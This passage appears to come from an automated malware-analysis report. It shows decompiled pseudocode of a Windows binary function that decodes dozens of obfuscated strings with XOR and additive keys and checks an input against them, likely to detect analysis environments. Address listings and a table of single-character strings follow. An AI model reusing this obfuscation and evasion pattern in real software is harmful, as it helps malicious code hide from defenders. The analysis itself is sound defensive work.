				_a610 = 0x4f;
				_a611 = 0x43;
				_a612 = 0x5e;
				_a613 = 0x42;
				_a614 = 0x4b;
				_a615 = 0x2e;
				_t937 = 0;
				do {
					 *(_t1150 + _t937 + 0x260) =  *(_t1150 + _t937 + 0x260) ^ 0x0000002e;
					_t937 = _t937 + 1;
				} while (_t937 < 8);
				_a424 = 0xa7;
				_a425 = 0xc7;
				_a426 = 0xbe;
				_a427 = 0x8e;
				_a428 = 0x14;
				_a380 = 0xbf;
				_a381 = 0xa2;
				_a382 = 0xa6;
				_a383 = 0xe1;
				_a384 = 0xec;
				_t938 = 0;
				do {
					 *((char*)(_t1150 + _t938 + 0x1a8)) =  *((intOrPtr*)(_t1150 + _t938 + 0x1a8)) +  *((intOrPtr*)(_t1150 + _t938 + 0x17c));
					_t938 = _t938 + 1;
				} while (_t938 < 5);
				_push(4);
				_push( &_a40);
				_a40 = 0x83;
				_a41 = 0x40;
				_a42 = 0xeb;
				_a43 = 0x5c;
				_a392 = 0x45;
				_a393 = 0x22;
				_a394 = 0x4c;
				_a395 = 0x39;
				_t940 = E00407370( &_a392);
				_push(0xb);
				_push( &_a856);
				_a52 = _t940;
				_a856 = 0x88;
				_a857 = 0x9c;
				_a858 = 0x95;
				_a859 = 0x1d;
				_a860 = 0xbd;
				_a861 = 0x48;
				_a862 = 0x67;
				_a863 = 0x6a;
				_a864 = 0xa9;
				_a865 = 0xb0;
				_a866 = 0xbc;
				_a380 = 0x86;
				_a381 = 0xe1;
				_a382 = 0x8e;
				_a383 = 0xe2;
				_a384 = 0x86;
				_a385 = 0xab;
				_a386 = 0xc8;
				_a387 = 0xad;
				_a388 = 0xdf;
				_a389 = 0xab;
				_a390 = 0xd8;
				_a60 = E00407370( &_a380);
				_a774 = 0xe;
				_a380 = 0xe;
				_a768 = 0xc4;
				_a769 = 0x64;
				_a770 = 0x99;
				_a771 = 0x7b;
				_a772 = 0xe3;
				_a773 = 0x8b;
				_a381 = 0xee;
				_a382 = 0x8f;
				_a383 = 0x1c;
				_a384 = 0xf6;
				_a385 = 0xb;
				_a386 = 0xa3;
				_a64 = E004073E0( &_a380, 7,  &_a768);
				_push(5);
				_push( &_a692);
				_a692 = 0x39;
				_a693 = 0xcb;
				_a694 = 0xd1;
				_a695 = 0x15;
				_a696 = 0x5b;
				_a376 = 0x1c;
				_a377 = 0x74;
				_a378 = 0x11;
				_a379 = 0x7d;
				_a380 = 0xd;
				_t946 = E00407370( &_a376);
				_t1152 = _t1150 + 0x18;
				_a72 = _t946;
				_a596 = 0xbe;
				_a597 = 0x45;
				_a598 = 0xf2;
				_a599 = 0x15;
				_a600 = 0x9d;
				_a601 = 0x1e;
				_a602 = 0xdb;
				_a603 = 0x81;
				_a376 = 0xd7;
				_a377 = 0x27;
				_a378 = 0x9f;
				_a379 = 0x3b;
				_a380 = 0xfe;
				_a381 = 0x71;
				_a382 = 0xb6;
				_a383 = 0x81;
				_t947 = 0;
				do {
					 *(_t1152 + _t947 + 0x258) =  *(_t1152 + _t947 + 0x258) ^  *(_t1152 + _t947 + 0x17c);
					_t947 = _t947 + 1;
				} while (_t947 < 8);
				_a584 = 0xe8;
				_a585 = 0xe6;
				_a586 = 0xf1;
				_a587 = 0xed;
				_a588 = 0xe6;
				_a589 = 0xef;
				_a590 = 0x83;
				_t948 = 0;
				do {
					 *(_t1152 + _t948 + 0x248) =  *(_t1152 + _t948 + 0x248) ^ 0x00000083;
					_t948 = _t948 + 1;
				} while (_t948 < 7);
				_push(8);
				_push( &_a792);
				_a792 = 0x26;
				_a793 = 0xee;
				_a794 = 0x2d;
				_a795 = 0xb4;
				_a796 = 0x7d;
				_a797 = 0xce;
				_a798 = 0xb3;
				_a799 = 0xa6;
				_a380 = 0xcc;
				_a381 = 0xa1;
				_a382 = 0xce;
				_a383 = 0xb4;
				_a384 = 0xdd;
				_a385 = 0xb1;
				_a386 = 0xdd;
				_a387 = 0xbc;
				_t949 = E00407370( &_a380);
				_t1153 = _t1152 + 8;
				_a84 = _t949;
				_a632 = 0xbf;
				_a633 = 0x70;
				_a634 = 0x89;
				_a635 = 0x13;
				_a636 = 0x32;
				_a637 = 0x3a;
				_a638 = 0xee;
				_a639 = 0xb6;
				_a380 = 0xd2;
				_a381 = 9;
				_a382 = 0xed;
				_a383 = 0x7c;
				_a384 = 0x5f;
				_a385 = 0x5b;
				_a386 = 0x87;
				_a387 = 0xb6;
				_t950 = 0;
				do {
					 *(_t1153 + _t950 + 0x278) =  *(_t1153 + _t950 + 0x278) ^  *(_t1153 + _t950 + 0x17c);
					_t950 = _t950 + 1;
				} while (_t950 < 8);
				_a648 = 0xc2;
				_a649 = 0xc0;
				_a650 = 0xcc;
				_a651 = 0xa8;
				_a652 = 0x1b;
				_a653 = 0xe8;
				_a654 = 0xb0;
				_a655 = 0xac;
				_a380 = 0xb2;
				_a381 = 0xb2;
				_a382 = 0xa5;
				_a383 = 0xde;
				_a384 = 0x7a;
				_a385 = 0x8b;
				_a386 = 0xc9;
				_a387 = 0xac;
				_t951 = 0;
				do {
					 *(_t1153 + _t951 + 0x288) =  *(_t1153 + _t951 + 0x288) ^  *(_t1153 + _t951 + 0x17c);
					_t951 = _t951 + 1;
				} while (_t951 < 8);
				_a528 = 0x20;
				_a529 = 0x7d;
				_a530 = 0xb6;
				_a531 = 0x83;
				_a532 = 0x26;
				_a533 = 0x8e;
				_a534 = 0xdf;
				_a380 = 0x52;
				_a381 = 0xe9;
				_a382 = 0xad;
				_a383 = 0xaa;
				_a384 = 0x3f;
				_a385 = 0xd6;
				_a386 = 0x21;
				_t952 = 0;
				do {
					 *((char*)(_t1153 + _t952 + 0x210)) =  *((intOrPtr*)(_t1153 + _t952 + 0x210)) +  *((intOrPtr*)(_t1153 + _t952 + 0x17c));
					_t952 = _t952 + 1;
				} while (_t952 < 7);
				_a504 = 0x49;
				_a505 = 0x5e;
				_a506 = 0xeb;
				_a507 = 0x2a;
				_a508 = 0x9c;
				_a509 = 0xed;
				_a380 = 0x3b;
				_a381 = 0x37;
				_a382 = 0x9b;
				_a383 = 0x4f;
				_a384 = 0xb2;
				_a385 = 0xed;
				_t953 = 0;
				do {
					 *(_t1153 + _t953 + 0x1f8) =  *(_t1153 + _t953 + 0x1f8) ^  *(_t1153 + _t953 + 0x17c);
					_t953 = _t953 + 1;
				} while (_t953 < 6);
				_push(9);
				_push( &_a832);
				_a832 = 0x5f;
				_a833 = 0x23;
				_a834 = 0x3b;
				_a835 = 0xab;
				_a836 = 0x46;
				_a837 = 0x35;
				_a838 = 0x50;
				_a839 = 0x11;
				_a840 = 7;
				_a380 = 0x11;
				_a381 = 0x62;
				_a382 = 7;
				_a383 = 0x69;
				_a384 = 0xd;
				_a385 = 0x60;
				_a386 = 1;
				_a387 = 0x68;
				_a388 = 4;
				_t955 = E00407370( &_a380);
				_t1154 = _t1153 + 8;
				_a92 = _t955;
				_a640 = 0x8f;
				_a641 = 0x99;
				_a642 = 0x8e;
				_a643 = 0x8a;
				_a644 = 0x95;
				_a645 = 0x9f;
				_a646 = 0x99;
				_a647 = 0xfc;
				_t956 = 0;
				do {
					 *(_t1154 + _t956 + 0x280) =  *(_t1154 + _t956 + 0x280) ^ 0x000000fc;
					_t956 = _t956 + 1;
				} while (_t956 < 8);
				_a383 = 0x8a;
				_push(9);
				_push( &_a820);
				_a820 = 0xe6;
				_a821 = 0xd3;
				_a822 = 0xe5;
				_a823 = 0xc2;
				_a824 = 0xef;
				_a825 = 0xd8;
				_a826 = 0xd5;
				_a827 = 0x56;
				_a828 = 0x50;
				_a380 = 0xfb;
				_a381 = 0x88;
				_a382 = 0xe7;
				_a384 = 0xef;
				_a385 = 0x8d;
				_a386 = 0xe2;
				_a387 = 0x86;
				_a388 = 0xff;
				_t1011 = E00407370( &_a380);
				_t1155 = _t1154 + 8;
				_a783 = 0xc6;
				_a380 = 0xc6;
				_a776 = 0x54;
				_a777 = 0x44;
				_a778 = 0x24;
				_a779 = 0xa0;
				_a780 = 0x98;
				_a781 = 0x73;
				_a782 = 0x3a;
				_a381 = 0x5f;
				_a382 = 0x1d;
				_a383 = 0xf7;
				_a384 = 0xc5;
				_a385 = 0x49;
				_a386 = 0x2b;
				_a387 = 0x27;
				_a376 = E004073E0( &_a380, 8,  &_a776);
				_a532 = 0x74;
				_a533 = 0x72;
				_a534 = 0x64;
				_a535 = 0x6f;
				_a536 = 0x64;
				_a537 = 0x75;
				_a538 = 1;
				_t961 = 0;
				do {
					 *(_t1155 + _t961 + 0x218) =  *(_t1155 + _t961 + 0x218) ^ 0x00000001;
					_t961 = _t961 + 1;
				} while (_t961 < 7);
				_a36 = 0xc3;
				_a37 = 0xbd;
				_a38 = 0x29;
				_a39 = 0xe7;
				_a392 = 0xe7;
				_a393 = 0x5e;
				_a394 = 0xca;
				_a395 = 0xb4;
				_t964 = E004073E0( &_a392, 4,  &_a36);
				_push(4);
				_push( &_a40);
				_t1141 = _t964;
				_a40 = 0x91;
				_a41 = 0xb2;
				_a42 = 0;
				_a43 = 0x98;
				_a388 = 0xe0;
				_a389 = 0x99;
				_a390 = 0xf6;
				_a391 = 0x83;
				_t965 = E00407370( &_a388);
				_t1156 = _t1155 + 8;
				_t1144 = _t965;
				_a436 = 0xad;
				_a437 = 0xbb;
				_a438 = 0xa1;
				_a439 = 0xa6;
				_a440 = 0xd4;
				_t966 = 0;
				do {
					 *(_t1156 + _t966 + 0x1b8) =  *(_t1156 + _t966 + 0x1b8) ^ 0x000000d4;
					_t966 = _t966 + 1;
				} while (_t966 < 5);
				_a576 = 0x64;
				_a577 = 0xb0;
				_a578 = 0x5d;
				_a579 = 0x6c;
				_a580 = 0x63;
				_a581 = 0xb4;
				_a582 = 0xf8;
				_a392 = 0xfd;
				_a393 = 0xc0;
				_a394 = 4;
				_a395 = 0xf7;
				_a396 = 5;
				_a397 = 0xb1;
				_a398 = 8;
				_t967 = 0;
				do {
					 *((char*)(_t1156 + _t967 + 0x240)) =  *((intOrPtr*)(_t1156 + _t967 + 0x240)) +  *((intOrPtr*)(_t1156 + _t967 + 0x188));
					_t967 = _t967 + 1;
				} while (_t967 < 7);
				_a28 = 0x5a;
				_a29 = 0x34;
				_a30 = 0xa;
				_a392 = 0xa;
				_a393 = 0x4c;
				_a394 = 0x22;
				_t970 = E004073E0( &_a392, 3,  &_a28);
				_a16 = 0x4a;
				_a17 = 0x7b;
				_a18 = 0xef;
				_a19 = 0x45;
				_a388 = 0x1c;
				_a389 = 0xf9;
				_a390 = 0x81;
				_a391 = 0xbb;
				_t1045 = 0;
				do {
					 *((intOrPtr*)(_t1156 + _t1045 + 0x14)) =  *((intOrPtr*)(_t1156 + _t1045 + 0x14)) +  *((intOrPtr*)(_t1156 + _t1045 + 0x188));
					_t1045 = _t1045 + 1;
				} while (_t1045 < 4);
				_a136 = _a56;
				_a144 = _a64;
				_a132 =  &_a464;
				_a140 = _a96;
				_a148 = _a104;
				_a152 =  &_a560;
				_a156 =  &_a544;
				_a160 =  &_a448;
				_a164 =  &_a552;
				_a172 = _a72;
				_a180 = _a80;
				_a168 =  &_a668;
				_a176 = _a112;
				_a184 =  &_a456;
				_a188 =  &_a520;
				_a192 =  &_a488;
				_a200 = _a120;
				_a208 = _a88;
				_a196 =  &_a592;
				_a204 =  &_a416;
				_a212 =  &_a400;
				_a216 =  &_a432;
				_a220 =  &_a616;
				_a224 =  &_a24;
				_a232 = _a128;
				_a228 =  &_a472;
				_a240 = _a48;
				_a236 =  &_a656;
				_a244 =  &_a480;
				_a248 =  &_a496;
				_a252 =  &_a512;
				_a256 = _a100;
				_a260 =  &_a568;
				_a264 = _a116;
				_a268 =  &_a408;
				_a272 = _a108;
				_a276 = _a124;
				_a280 =  &_a624;
				_a284 =  &_a608;
				_a288 =  &_a424;
				_t1139 = _a916;
				_a292 = _a52;
				_a296 = _a60;
				_a300 = _a68;
				_a304 = _a76;
				_a308 =  &_a600;
				_a312 =  &_a584;
				_a316 = _a84;
				_a320 =  &_a632;
				_a324 =  &_a648;
				_a328 =  &_a528;
				_a332 =  &_a504;
				_a336 = _a92;
				_a340 =  &_a640;
				_a348 = _a380;
				_a352 =  &_a536;
				_a364 =  &_a440;
				_a356 = _t1141;
				_a344 = _t1011;
				_a360 = _t1144;
				_a368 =  &_a576;
				_a372 = _t970;
				_a376 =  &_a20;
				_t1142 = 0;
				while(1) {
					_a16 = _a16 ^ _a16 * 0x00000038 & 0x000000ff;
					 *0x431c86 = 0x37;
					_t974 = E00425320(_t1139,  *((intOrPtr*)(_t1156 + 0x84 + _t1142 * 4)));
					_t1156 = _t1156 + 8;
					if(_t974 != 0) {
						break;
					}
					_t1142 = _t1142 + 1;
					if(_t1142 < 0x3e) {
						continue;
					} else {
						if(_a892 >= 0x10) {
							_push(_a872);
							L00424BCD();
							_t1156 = _t1156 + 4;
						}
						_t975 = 1;
					}
					L66:
					 *[fs:0x0] = _a900;
					return E00424873(_t975, _a896);
				}
				if(_a892 < 0x10) {
					_t975 = 0;
				} else {
					_push(_a872);
					L00424BCD();
					_t1156 = _t1156 + 4;
					_t975 = 0;
				}
				goto L66;
			}

0x00409436
0x00409440
0x00409450
0x00409457
0x00409458
0x0040945d
0x00409465
0x0040946d
0x00409475
0x0040947d
0x00409485
0x0040948d
0x00409495
0x0040949d
0x004094a5
0x004094ad
0x004094b5
0x004094bd
0x004094c5
0x004094cd
0x004094d0
0x004094e0
0x004094e7
0x004094e8
0x004094ed
0x004094f5
0x004094fd
0x00409505
0x0040950d
0x00409515
0x0040951d
0x00409520
0x00409520
0x00409528
0x00409529
0x0040952e
0x00409536
0x0040953e
0x00409546
0x0040954e
0x00409556
0x0040955e
0x00409566
0x0040956e
0x00409570
0x00409570
0x00409578
0x00409579
0x00409585
0x00409589
0x00409591
0x00409599
0x004095a1
0x004095a9
0x004095b1
0x004095b9
0x004095c1
0x004095c9
0x004095d1
0x004095d9
0x004095e0
0x004095e8
0x004095f0
0x004095f8
0x00409600
0x00409608
0x00409610
0x00409615
0x00409618
0x0040961c
0x00409624
0x0040962c
0x00409634
0x0040963c
0x00409644
0x0040964c
0x00409654
0x0040965c
0x00409664
0x0040966c
0x00409670
0x00409680
0x00409687
0x00409688
0x00409694
0x00409696
0x0040969e
0x004096a6
0x004096ae
0x004096b6
0x004096be
0x004096c6
0x004096ce
0x004096d6
0x004096de
0x004096e6
0x004096ee
0x004096f6
0x004096fe
0x00409706
0x0040970e
0x00409713
0x00409716
0x0040971a
0x00409721
0x00409729
0x00409731
0x00409739
0x00409741
0x00409749
0x00409751
0x00409759
0x00409761
0x00409769
0x00409770
0x00409780
0x00409787
0x00409788
0x0040978d
0x00409795
0x0040979d
0x004097a5
0x004097ad
0x004097b5
0x004097bd
0x004097c5
0x004097cd
0x004097d5
0x004097dd
0x004097e0
0x004097f0
0x004097f7
0x004097f8
0x004097ff
0x00409806
0x0040980d
0x00409815
0x0040981d
0x00409825
0x0040982d
0x00409835
0x0040983d
0x00409845
0x0040984d
0x00409855
0x0040985d
0x00409865
0x0040986d
0x00409875
0x0040987d
0x00409880
0x00409890
0x00409897
0x00409898
0x0040989d
0x004098a2
0x004098a7
0x004098ac
0x004098b1
0x004098b3
0x004098b3
0x004098b8
0x004098b9
0x004098be
0x004098c6
0x004098ce
0x004098d6
0x004098de
0x004098e6
0x004098ee
0x004098f0
0x004098f0
0x004098f8
0x004098f9
0x00409905
0x00409907
0x0040990f
0x00409917
0x0040991f
0x00409927
0x0040992f
0x00409937
0x0040993f
0x00409947
0x0040994f
0x00409957
0x0040995f
0x00409967
0x0040996f
0x00409974
0x00409977
0x0040997e
0x00409986
0x0040998e
0x00409996
0x0040999e
0x004099a6
0x004099ae
0x004099b6
0x004099be
0x004099c6
0x004099ce
0x004099d6
0x004099de
0x004099e6
0x004099ee
0x004099f6
0x004099fe
0x00409a06
0x00409a0e
0x00409a10
0x00409a20
0x00409a27
0x00409a28
0x00409a43
0x00409a4b
0x00409a53
0x00409a5b
0x00409a63
0x00409a6b
0x00409a73
0x00409a7b
0x00409a83
0x00409a8b
0x00409a93
0x00409a9b
0x00409aa3
0x00409aab
0x00409ab3
0x00409abb
0x00409ac2
0x00409aca
0x00409ad2
0x00409ada
0x00409ae7
0x00409aeb
0x00409af3
0x00409afb
0x00409b03
0x00409b0b
0x00409b13
0x00409b1b
0x00409b23
0x00409b2a
0x00409b32
0x00409b3a
0x00409b42
0x00409b4a
0x00409b50
0x00409b60
0x00409b67
0x00409b68
0x00409b6d
0x00409b75
0x00409b7d
0x00409b85
0x00409b8d
0x00409b95
0x00409b9d
0x00409ba5
0x00409bad
0x00409bb5
0x00409bbd
0x00409bc5
0x00409bcd
0x00409bd0
0x00409be0
0x00409be7
0x00409be8
0x00409bed
0x00409bf5
0x00409bfd
0x00409c05
0x00409c0d
0x00409c15
0x00409c1d
0x00409c25
0x00409c2d
0x00409c35
0x00409c3d
0x00409c45
0x00409c4d
0x00409c50
0x00409c60
0x00409c67
0x00409c68
0x00409c73
0x00409c77
0x00409c8b
0x00409c90
0x00409c95
0x00409c9a
0x00409ca2
0x00409caa
0x00409cb7
0x00409cbb
0x00409cc3
0x00409ccb
0x00409cd3
0x00409cdb
0x00409ce3
0x00409ceb
0x00409cf3
0x00409d00
0x00409d00
0x00409d08
0x00409d09
0x00409d22
0x00409d2a
0x00409d32
0x00409d3a
0x00409d42
0x00409d4a
0x00409d52
0x00409d5a
0x00409d62
0x00409d6a
0x00409d79
0x00409d7d
0x00409d85
0x00409d8d
0x00409d95
0x00409d9d
0x00409da4
0x00409dac
0x00409db4
0x00409dbc
0x00409dc4
0x00409dcb
0x00409dd0
0x00409de0
0x00409de7
0x00409de8
0x00409df4
0x00409dfb
0x00409dfd
0x00409e05
0x00409e0d
0x00409e15
0x00409e1d
0x00409e25
0x00409e2d
0x00409e35
0x00409e3d
0x00409e45
0x00409e4d
0x00409e59
0x00409e5b
0x00409e63
0x00409e67
0x00409e6f
0x00409e77
0x00409e7f
0x00409e87
0x00409e8f
0x00409e97
0x00409e9f
0x00409ea7
0x00409eaf
0x00409eb7
0x00409ebf
0x00409ec7
0x00409ecf
0x00409ed7
0x00409edf
0x00409ee7
0x00409eef
0x00409ef7
0x00409efe
0x00409f01
0x00409f05
0x00409f0c
0x00409f14
0x00409f1c
0x00409f24
0x00409f2c
0x00409f33
0x00409f3b
0x00409f43
0x00409f50
0x00409f50
0x00409f58
0x00409f59
0x00409f5e
0x00409f66
0x00409f6e
0x00409f76
0x00409f7e
0x00409f86
0x00409f8e
0x00409f96
0x00409f9e
0x00409fa0
0x00409fa0
0x00409fa8
0x00409fa9
0x00409fae
0x00409fb6
0x00409fbe
0x00409fc6
0x00409fce
0x00409fd6
0x00409fde
0x00409fe6
0x00409fee
0x00409ff6
0x00409ffe
0x0040a000
0x0040a010
0x0040a017
0x0040a018
0x0040a021
0x0040a023
0x0040a02b
0x0040a030
0x0040a035
0x0040a03a
0x0040a03f
0x0040a047
0x0040a04f
0x0040a057
0x0040a05f
0x0040a06b
0x0040a06d
0x0040a075
0x0040a079
0x0040a081
0x0040a089
0x0040a091
0x0040a099
0x0040a0a1
0x0040a0a9
0x0040a0b1
0x0040a0b9
0x0040a0c1
0x0040a0c9
0x0040a0d0
0x0040a0d8
0x0040a0e0
0x0040a0e8
0x0040a0f0
0x0040a0f8
0x0040a100
0x0040a108
0x0040a110
0x0040a118
0x0040a120
0x0040a12d
0x0040a13d
0x0040a144
0x0040a158
0x0040a160
0x0040a168
0x0040a170
0x0040a178
0x0040a180
0x0040a188
0x0040a190
0x0040a198
0x0040a1a0
0x0040a1a8
0x0040a1b0
0x0040a1bd
0x0040a1c8
0x0040a1ca
0x0040a1d2
0x0040a1da
0x0040a1e2
0x0040a1ea
0x0040a1f2
0x0040a1fa
0x0040a202
0x0040a20a
0x0040a212
0x0040a21a
0x0040a222
0x0040a227
0x0040a22a
0x0040a22e
0x0040a236
0x0040a23e
0x0040a246
0x0040a24e
0x0040a256
0x0040a25e
0x0040a266
0x0040a26e
0x0040a276
0x0040a27e
0x0040a286
0x0040a28e
0x0040a296
0x0040a29e
0x0040a2a6
0x0040a2ae
0x0040a2b0
0x0040a2c0
0x0040a2c7
0x0040a2c8
0x0040a2cd
0x0040a2d5
0x0040a2dd
0x0040a2e5
0x0040a2ed
0x0040a2f5
0x0040a2fd
0x0040a305
0x0040a310
0x0040a310
0x0040a318
0x0040a319
0x0040a325
0x0040a327
0x0040a32f
0x0040a337
0x0040a33f
0x0040a347
0x0040a34f
0x0040a357
0x0040a35f
0x0040a367
0x0040a36f
0x0040a377
0x0040a37f
0x0040a387
0x0040a38f
0x0040a397
0x0040a39f
0x0040a3a7
0x0040a3ae
0x0040a3b3
0x0040a3b6
0x0040a3ba
0x0040a3c2
0x0040a3ca
0x0040a3d2
0x0040a3da
0x0040a3e2
0x0040a3ea
0x0040a3f2
0x0040a3fa
0x0040a402
0x0040a40a
0x0040a412
0x0040a41a
0x0040a422
0x0040a42a
0x0040a432
0x0040a43a
0x0040a440
0x0040a450
0x0040a457
0x0040a458
0x0040a45d
0x0040a465
0x0040a46d
0x0040a475
0x0040a47d
0x0040a485
0x0040a48d
0x0040a495
0x0040a49d
0x0040a4a5
0x0040a4ad
0x0040a4b5
0x0040a4bd
0x0040a4c5
0x0040a4cd
0x0040a4d5
0x0040a4dd
0x0040a4e0
0x0040a4f0
0x0040a4f7
0x0040a4f8
0x0040a4fd
0x0040a505
0x0040a50d
0x0040a515
0x0040a51d
0x0040a525
0x0040a52d
0x0040a535
0x0040a53d
0x0040a545
0x0040a54d
0x0040a555
0x0040a55d
0x0040a565
0x0040a56d
0x0040a570
0x0040a580
0x0040a587
0x0040a588
0x0040a58d
0x0040a595
0x0040a59d
0x0040a5a5
0x0040a5ad
0x0040a5b5
0x0040a5bd
0x0040a5c5
0x0040a5cd
0x0040a5d5
0x0040a5dd
0x0040a5e5
0x0040a5ed
0x0040a5f0
0x0040a600
0x0040a607
0x0040a608
0x0040a614
0x0040a616
0x0040a61e
0x0040a626
0x0040a62e
0x0040a636
0x0040a63e
0x0040a646
0x0040a64e
0x0040a656
0x0040a65e
0x0040a666
0x0040a66e
0x0040a676
0x0040a67e
0x0040a686
0x0040a68e
0x0040a696
0x0040a69e
0x0040a6a6
0x0040a6ae
0x0040a6b5
0x0040a6b8
0x0040a6bc
0x0040a6c4
0x0040a6cc
0x0040a6d4
0x0040a6db
0x0040a6e3
0x0040a6eb
0x0040a6f3
0x0040a6fb
0x0040a700
0x0040a700
0x0040a708
0x0040a709
0x0040a70e
0x0040a71c
0x0040a71e
0x0040a726
0x0040a72e
0x0040a736
0x0040a73e
0x0040a746
0x0040a74e
0x0040a756
0x0040a75e
0x0040a766
0x0040a76e
0x0040a776
0x0040a77e
0x0040a786
0x0040a78e
0x0040a796
0x0040a79e
0x0040a7a6
0x0040a7b3
0x0040a7b7
0x0040a7c1
0x0040a7c8
0x0040a7dc
0x0040a7e4
0x0040a7ec
0x0040a7f4
0x0040a7fc
0x0040a804
0x0040a80c
0x0040a814
0x0040a81c
0x0040a824
0x0040a82c
0x0040a834
0x0040a83c
0x0040a844
0x0040a851
0x0040a858
0x0040a860
0x0040a868
0x0040a870
0x0040a878
0x0040a880
0x0040a888
0x0040a890
0x0040a892
0x0040a892
0x0040a89a
0x0040a89b
0x0040a8b1
0x0040a8b6
0x0040a8bb
0x0040a8c0
0x0040a8c5
0x0040a8cd
0x0040a8d5
0x0040a8dd
0x0040a8e5
0x0040a8ee
0x0040a8ef
0x0040a8f7
0x0040a8f9
0x0040a8fe
0x0040a903
0x0040a908
0x0040a90d
0x0040a915
0x0040a91d
0x0040a925
0x0040a92d
0x0040a932
0x0040a935
0x0040a937
0x0040a93f
0x0040a947
0x0040a94f
0x0040a957
0x0040a95f
0x0040a961
0x0040a961
0x0040a969
0x0040a96a
0x0040a96f
0x0040a977
0x0040a97f
0x0040a987
0x0040a98f
0x0040a997
0x0040a99f
0x0040a9a7
0x0040a9af
0x0040a9b7
0x0040a9bf
0x0040a9c7
0x0040a9cf
0x0040a9d7
0x0040a9df
0x0040a9f0
0x0040aa00
0x0040aa07
0x0040aa08
0x0040aa1e
0x0040aa23
0x0040aa28
0x0040aa2d
0x0040aa35
0x0040aa3d
0x0040aa45
0x0040aa4a
0x0040aa4f
0x0040aa54
0x0040aa59
0x0040aa5e
0x0040aa66
0x0040aa6e
0x0040aa76
0x0040aa7e
0x0040aa80
0x0040aa87
0x0040aa8b
0x0040aa8c
0x0040aa95
0x0040aaa0
0x0040aaae
0x0040aab9
0x0040aac4
0x0040aad2
0x0040aae0
0x0040aaee
0x0040aafc
0x0040ab07
0x0040ab12
0x0040ab20
0x0040ab2b
0x0040ab39
0x0040ab47
0x0040ab55
0x0040ab60
0x0040ab6b
0x0040ab79
0x0040ab87
0x0040ab95
0x0040aba3
0x0040abb1
0x0040abbc
0x0040abca
0x0040abdc
0x0040abe3
0x0040abf1
0x0040abff
0x0040ac0d
0x0040ac1f
0x0040ac26
0x0040ac38
0x0040ac3f
0x0040ac51
0x0040ac5c
0x0040ac6a
0x0040ac78
0x0040ac86
0x0040ac91
0x0040ac9c
0x0040aca3
0x0040acae
0x0040acb9
0x0040acc0
0x0040acce
0x0040ace0
0x0040ace7
0x0040acf5
0x0040ad03
0x0040ad11
0x0040ad23
0x0040ad2a
0x0040ad3f
0x0040ad46
0x0040ad5b
0x0040ad62
0x0040ad74
0x0040ad7b
0x0040ad82
0x0040ad89
0x0040ad90
0x0040ad97
0x0040ad9e
0x0040ada0
0x0040adaf
0x0040adbc
0x0040adc3
0x0040adc8
0x0040adcd
0x00000000
0x00000000
0x0040adcf
0x0040add3
0x00000000
0x0040add5
0x0040addd
0x0040ade6
0x0040ade7
0x0040adec
0x0040adec
0x0040adef
0x0040adef
0x0040adf4
0x0040adfe
0x0040ae18
0x0040ae18
0x0040ae49
0x0040ae3d
0x0040ae4b
0x0040ae52
0x0040ae53
0x0040ae58
0x0040ae5b
0x0040ae5b
0x00000000

Strings

c, xrefs: 0040A98F
g, xrefs: 0040A0A9
I, xrefs: 0040A834
$, xrefs: 0040A7EC
3, xrefs: 00409986
&, xrefs: 0040A51D
a, xrefs: 004095A1
;, xrefs: 00409CC3
j, xrefs: 00409624
`, xrefs: 0040A68E
l, xrefs: 0040998E
d, xrefs: 0040A878
8, xrefs: 0040991F
K, xrefs: 00409EA7
\, xrefs: 0040A03A
4, xrefs: 00409465
{, xrefs: 0040AA4F
I, xrefs: 0040A58D
L, xrefs: 0040AA35
5, xrefs: 0040961C
B, xrefs: 00409F86
}, xrefs: 0040A505
V, xrefs: 0040A75E
}, xrefs: 00409485
+, xrefs: 0040A83C
L, xrefs: 0040A04F
K, xrefs: 00409F8E
Z, xrefs: 00409E9F
q, xrefs: 00409AF3
9, xrefs: 0040A057
Z, xrefs: 00409CEB
*, xrefs: 0040A5A5
_, xrefs: 0040A61E
%, xrefs: 00409A43
T, xrefs: 00409D6A
E, xrefs: 0040A03F
1, xrefs: 00409BED
:, xrefs: 0040A3E2
>, xrefs: 0040981D
-, xrefs: 0040992F
", xrefs: 0040AA3D
_, xrefs: 00409B95
4, xrefs: 0040AA23
G, xrefs: 0040997E
3, xrefs: 00409CD3
-, xrefs: 0040A33F
t, xrefs: 0040A858
E, xrefs: 0040AA59
I, xrefs: 0040990F
., xrefs: 00409FA0
}, xrefs: 0040A34F
), xrefs: 0040A8BB
., xrefs: 00409F96
j, xrefs: 0040A0B1
_, xrefs: 00409475
7, xrefs: 0040A5C5
l, xrefs: 0040A987
^, xrefs: 00409F7E
[, xrefs: 00409E97
:, xrefs: 0040A80C
5, xrefs: 00409C8B
I, xrefs: 00409A8B
T, xrefs: 0040A7DC
], xrefs: 0040A97F
?, xrefs: 0040A555
p, xrefs: 0040A3C2
K, xrefs: 00409C05
J, xrefs: 004096B6
H, xrefs: 0040A0A1
7, xrefs: 00409C15
V, xrefs: 00409F66
4, xrefs: 00409CDB
;, xrefs: 0040A62E
i, xrefs: 00409E0D
{, xrefs: 0040A170
', xrefs: 0040A844
^, xrefs: 0040A595
_, xrefs: 00409AAB
@, xrefs: 0040A030
", xrefs: 0040A047
d, xrefs: 0040A96F
., xrefs: 00409CCB
9, xrefs: 0040A1D2
n, xrefs: 00409D85
O, xrefs: 0040A5D5
J, xrefs: 0040AA4A
e, xrefs: 00409AFB
q, xrefs: 00409BAD
r, xrefs: 0040A860
&, xrefs: 0040A32F
<, xrefs: 00409739
&, xrefs: 004095A9
h, xrefs: 0040A69E
6, xrefs: 00409A5B
2, xrefs: 0040A3DA
f, xrefs: 0040999E
Z, xrefs: 0040AA1E
O, xrefs: 00409F6E
d, xrefs: 0040A160
Z, xrefs: 00409D00
o, xrefs: 004098E6
t, xrefs: 00409E87
;, xrefs: 0040A5BD
=, xrefs: 00409CE3
*, xrefs: 00409B03
, xrefs: 0040A4FD
D, xrefs: 0040A7E4
-, xrefs: 00409706
c, xrefs: 00409591
[, xrefs: 004099BE
F, xrefs: 0040A63E
K, xrefs: 00409A4B
E, xrefs: 0040A236
_, xrefs: 0040A814
#, xrefs: 0040A626
), xrefs: 0040980D
!, xrefs: 0040A565
g, xrefs: 004096A6
4, xrefs: 00409D95
E, xrefs: 00409CAA
i, xrefs: 004096CE
P, xrefs: 0040A64E
C, xrefs: 00409F76
s, xrefs: 0040A804
d, xrefs: 0040A868
[, xrefs: 0040A1F2
u, xrefs: 0040A880
o, xrefs: 004098F0
o, xrefs: 0040A870
#, xrefs: 00409E1D
/, xrefs: 004098DE
5, xrefs: 0040A646
$, xrefs: 00409AD2
), xrefs: 00409D7D
P, xrefs: 0040A766
<, xrefs: 00409A73

Memory Dump Source

